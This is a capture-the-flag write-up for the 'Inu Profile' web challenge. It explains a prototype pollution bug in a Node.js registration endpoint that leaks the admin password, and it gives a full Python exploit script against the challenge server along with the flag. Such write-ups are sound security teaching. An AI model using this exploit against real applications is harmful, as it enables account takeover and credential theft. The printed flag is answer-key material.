Challenge Description
Challenge: Inu Profile
Category: Web
Objective: Exploiting a Prototype Pollution vulnerability to leak the admin password and retrieve the flag.
Reconnaissance
The application is a Node.js web app using the fastify framework. It allows users to:
- Register (
/register) with a username, password, and profile. - Login (
/login). - View Profile (
/profileor/profile/:username). - Admin Endpoint (
/admin), which gives the flag if the user is logged in asadmin.
Source Code Analysis
Key files:
index.js: Main application logic.
The Vulnerability
The vulnerability lies in the /register endpoint logic:
// index.js lines 92-97users[username] ??= { password, ...DEFAULT_PROFILE };
// okay, let's update the databasefor (const key in profile) { users[username][key] = profile[key];};If a user registers with the username __proto__, the following happens:
users["__proto__"]accessesObject.prototype(which exists).- The
??=operator sees thatusers["__proto__"]is not null/undefined, so it skips the assignment of the default object. - The loop iterates over the user-provided
profileobject. users[username][key] = profile[key]becomesObject.prototype[key] = profile[key].
This allows us to write arbitrary properties to Object.prototype, causing Prototype Pollution.
The Leak
The application has a function getFilteredProfile that is supposed to filter out sensitive fields (like password) before sending the profile to the user.
// index.js lines 47-54function getFilteredProfile(username) { const profile = users[username]; const filteredProfile = Object.entries(profile).filter(([k]) => { return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key });
return Object.fromEntries(filteredProfile);}The filter relies on k in DEFAULT_PROFILE.
DEFAULT_PROFILEis a plain object:{ 'avatar': '...', 'description': '...' }.- The
inoperator checks for properties in the object and its prototype chain. - By polluting
Object.prototypewith a property namedpassword,key in DEFAULT_PROFILEwill returntruewhenkeyis'password'.
The admin user object (defined at startup) has a password property.
let users = { admin: { password: crypto.randomBytes(16).toString('hex'), // ... }};If we call /profile/admin, getFilteredProfile('admin') checks if password (from admin’s object) is in DEFAULT_PROFILE. Thanks to our pollution, this check passes, and the admin’s password is returned in the response.
Exploit Strategy
- Pollute: Send a POST to
/registerwithusername: "__proto__"andprofile: { "password": "pwned" }. This addspasswordtoObject.prototype. - Leak: Send a GET to
/profile/admin. The response will now contain the admin’s password. - Login: Use the leaked password to login as
admin. - Flag: Access
/adminto get the flag.
Solution Script
The following Python script automates the attack:
import requests
BASE_URL = "http://34.170.146.252:16573"
def exploit(): s = requests.Session()
# 1. Pollute Prototype print("[*] Polluting Object.prototype...") s.post(f"{BASE_URL}/register", json={ "username": "__proto__", "password": "123", "profile": { "password": "1" } })
# 2. Leak Password print("[*] Leaking admin password...") r = s.get(f"{BASE_URL}/profile/admin") admin_password = r.json().get('password') print(f"[+] Leaked Password: {admin_password}")
# 3. Login print("[*] Logging in as admin...") s.post(f"{BASE_URL}/login", json={ "username": "admin", "password": admin_password })
# 4. Get Flag r = s.get(f"{BASE_URL}/admin") print(f"[+] Flag: {r.json()['message']}")
if __name__ == "__main__": exploit()Flag
Alpaca{the_best_dog_in_the_world_is_custom-kun}